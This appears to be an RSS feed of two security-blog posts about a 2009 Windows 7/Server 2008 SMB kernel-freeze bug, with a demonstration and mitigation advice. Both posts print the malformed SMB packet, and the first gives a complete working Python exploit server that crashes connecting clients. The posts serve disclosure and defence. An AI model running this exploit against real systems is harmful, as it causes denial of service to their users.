<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Praetorian Prefect &#187; SMB</title>
	<atom:link href="http://praetorianprefect.com/archives/tag/smb/feed/" rel="self" type="application/rss+xml" />
	<link>http://praetorianprefect.com</link>
	<description>Information security, a little slower...a little deeper</description>
	<lastBuildDate>Thu, 29 Jul 2010 16:38:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Windows 7 SMB Kernel Crash Video</title>
		<link>http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/</link>
		<comments>http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 05:27:07 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[crash]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[SMB]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2997</guid>
		<description><![CDATA[Back <a href="http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/">on November 11th, 2009</a> we confirmed <a href="http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html">Laurent Gaffié's remote exploit</a> for Windows that causes a kernel crash. The operating system actually freezes creating a denial of service when for example a user is tricked into clicking on a link to a malicious SMB share on a web page. The SMB client goes into an infinite loop when processing this malformed request according to Microsoft. The video below demonstrates this effect, having a user click a web site link and showing the crash.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/patch_tuesday.jpeg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/patch_tuesday.jpeg" alt="patch_tuesday" title="patch_tuesday" width="126" height="129" class="alignleft size-full wp-image-3014" /></a></p>

<p><a href="http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/">Back on November 11th, 2009</a> we confirmed <a href="http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html">Laurent Gaffié&#8217;s remote exploit</a> for Windows that causes a kernel crash. The operating system actually freezes creating a denial of service when, for example, a user is tricked into clicking on a link on a web page to a malicious SMB share request. The SMB client goes into an infinite loop when processing this malformed request according to Microsoft. The video below demonstrates this effect, having a user click a web site link and showing the crash.</p>

<blockquote>
  <p>&#8220;We are not aware of any active attacks using the exploit code that was made public for this vulnerability&#8221; <br />Jerry Bryant, Microsoft</p>
</blockquote>

<p>Microsoft discusses this problem under <a href="http://www.microsoft.com/technet/security/advisory/977544.mspx">Security Advisory 977544</a>. The Security Response Center (MSRC) blog announced last Thursday that <a href="http://blogs.technet.com/msrc/archive/2010/01/07/january-2010-bulletin-release-advance-notification.aspx">it would not correct</a> this bug in this month&#8217;s patch release. The MSFT advisory initially discusses ingress rules for firewalls (rules for requests coming from the Internet) under mitigating factors, which would not be helpful in the case of a user making the request by clicking a link. It then catches this though under &#8216;Workarounds&#8217; by stating to &#8220;block all SMB communications to and from the Internet to help prevent attacks&#8221;, which is a correct approach.</p>

<h3>Windows 7 SMB Crash Video</h3>

<p>People seem to be having a hard time visualizing this attack. The video below demonstrates first the crash itself, and then simulates a user clicking a link to a malformed SMB request.</p>

<p><object width="751" height="366"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8731397&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=8731397&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="751" height="366"></embed></object></p>

<h3>Test Code</h3>

<p>Here is the Python code used for testing, based on Gaffie&#8217;s original post:</p>

<pre><code>import SocketServer as a
packet = "\x00\x00\x00\x9a"
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
class x(a.BaseRequestHandler):
  def handle(s):
      print "You connecting to me: %s"%(s.client_address[0])
      i = s.request.recv(1024)
      s.request.send(packet)
      s.request.close()
print "Waiting for the victim to connect to my open port 445"
launch = a.TCPServer(('', 445),x)
launch.serve_forever()
</code></pre>

<h3>SMB</h3>

<p>Server Message Block or <a href="http://en.wikipedia.org/wiki/Server_Message_Block">SMB is an application-layer network protocol</a> commonly used by Microsoft Windows to share files over the Local Area Network (LAN).</p>

<h3>Finally</h3>

<p>Many ISP&#8217;s will block requests associated with the SMB protocol for home broadband Internet connections in reaction to past remote threats that use the SMB port. For businesses, unless good egress rules are in place (many times they are not), this attack is a realistic threat. Good egress rules will block it, and should already be in place for other potential threats if not already there. This provides a good excuse to check.</p>

<p>Microsoft has yet to release a scheduled fix date for this. While not as problematic as say an exploit that allows for code injection, a remotely exploitable DOS attack that remains announced and in zero day status for more than two months likely does merit attention in February&#8217;s patch Tuesday release.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/">IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/juniper-kernel-crash-scapy-code/">Juniper Kernel Crash &#8211; scapy Code</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/">JUNOS (Juniper) Kernel Crash Video</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Remote SMB Exploit: Crashing Windows 7 and Server 2008</title>
		<link>http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/</link>
		<comments>http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 21:16:28 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[kernal]]></category>
		<category><![CDATA[SMB]]></category>
		<category><![CDATA[windows 7]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/</guid>
		<description><![CDATA[Python code was posted today by Laurent Gaffie on <a href="http://g-laurent.blogspot.com/" target="_blank">his blog</a>, demonstrating a much too easy way to remotely crash a Windows 7 or Windows Server 2008 machine. The crash is caused by sending a NetBIOS header which specifies that the SMB packet is 4 bytes smaller or larger than it actually is. In this code sample below, you can see that the header has the length of the packet set to 9a rather than 9e (4 bytes smaller).]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/pc_guy.jpg"><img class="alignleft size-thumbnail wp-image-1585" title="pc_guy" alt="pc_guy" src="http://praetorianprefect.com/wp-content/uploads/2009/11/pc_guy-130x150.jpg" width="110" height="130" /></a></p>

<p>Python code was posted today by Laurent Gaffie on <a href="http://g-laurent.blogspot.com/" target="_blank">his blog</a>, demonstrating a much too easy way to remotely crash a Windows 7 or Windows Server 2008 machine. The crash is caused by sending a NetBIOS header which specifies that the SMB packet is 4 bytes smaller or larger than it actually is.</p>

<p>In this code sample below, you can see that the header has the length of the packet set to 9a rather than 9e (4 bytes smaller). Update: We have tested with different variations, such as 1 byte and 2 bytes off, which also caused the crash.</p>

<pre><code>packet = "\x00\x00\x00\x9a" # --&gt; length should be 9e not 9a.. 
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
</code></pre>

<p>We also tested this by setting 9e to aa (4 bytes larger) to see if it had the same affect and it indeed it did.</p>

<p>A little about the “crash”. The Operating System actually freezes. There is no error message, no blue screen of death, no indication that anything has gone wrong. Even after power cycling, the event logs show no sign of a mishap, aside from the typical events generated from booting up again.</p>

<h4>Demonstration</h4>

<div class="wp-caption" style="float: right;margin: 5px;margin-left: 42px;margin-right: 21px;margin-bottom: 30px;"><a title="Frozen Windows 7" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/11/ScreenHunter_04Nov.1115.11.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/ScreenHunter_04Nov.1115.11.gif" border="1" alt="NY Crime Rate Drop" width="300" height="218" /> </a></div>

<p>Our victim targets are:</p>

<ol>
<li>A Windows 7 Professional workstation with latest patches. </li>
<li>A Windows Server 2008 R2 Standard Core Edition with latest patches.</li>
</ol>

<p>On Open BSD, Mac OSX, and Linux 2.6 workstations, we ran the python code and had it listen on port 445.&#160; I would have had a Windows server run the listening server, but SMB on Windows already listens on port 445 and for the purpose of the demonstration it was easier to run it on machines that do not listen on this port by default.&#160; From the Windows 7 and Windows Server 2008 victim machines, we simply attempt any type of SMB connection to the bad hosts listening with the Python code. This can be done by simply doing a directory command (dir) to a non-existent share (<code>dir \\ip-address\share</code>).</p>

<p>The screenshot below shows the command window with the dir command used to attempt a connection to a host (172.17.20.139) which is running the Python code, ready to send that SMB packet over. As soon as the connection is attempted, the whole machine freezes. I had resource monitor and task manager running and every counter, even the ticking of uptime, stopped dead. In some cases, I left the machine in this state for a significant amount of time.&#160; Also, the host was no longer pingable, so once the crash occurred, it was off the network and no longer attempting any more SMB traffic.</p>

<h4>What is the big deal?</h4>

<div class="wp-caption" style="float: right;margin: 5px;margin-left: 42px;margin-right: 21px;"><a title="Internal Example URI" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/11/ScreenHunter_06Nov.1115.51new.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/ScreenHunter_06Nov.1115.51new.gif" border="1" alt="NY Crime Rate Drop" width="300" height="218" /> </a></div>

<p>To simulate how an attacker could use this, we hosted a small internal web page, with a simple link to direct the user to our malicious host. Now, as seen in the image below, our link was very obvious for demonstration purposes, users can be redirected in various obfuscated ways.&#160; Although remote elevated privileges or sensitive data theft is not part of this proof of concept, this can still be a very troublesome issue.</p>

<hr />

<h3>References</h3>

<ul>
<li>g-laurent.blogspot.com: <a href="http://g-laurent.blogspot.com/">Windows 7 / Server 2008R2 Remote Kernel Crash</a></li>
<li>informationweek.com: <a href="http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=221601573">Microsoft Investigating Zero-Day Windows 7 Flaw</a></li>
<li>darkreading.com: <a href="http://www.darkreading.com/security/app-security/showArticle.jhtml?articleID=221700053&amp;cid=ref-true">Microsoft Looks Into Bug That Can Crash Windows 7</a></li>
<li>thetechherald.com: <a href="http://www.thetechherald.com/article.php/200946/4784/Microsoft-Kernel-Smash-vulnerability-being-investigated">Microsoft Kernel Smash vulnerability being investigated</a></li>
</ul>

<h3>Update</h3>

<p>Microsoft says this is being investigated as a possible denial of service vulnerability, but initially responded that correcting it will be handled in the first service pack updates for Windows 7 and Server 2008 R2 rather then as a &quot;Patch Tuesday&quot; security update.</p></p>

<p>Microsoft has posted a <a href="http://www.microsoft.com/technet/security/advisory/977544.mspx">security advisory (977544)</a> regarding the issue.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/">IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/">Windows 7 SMB Kernel Crash Video</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
	</channel>
</rss>
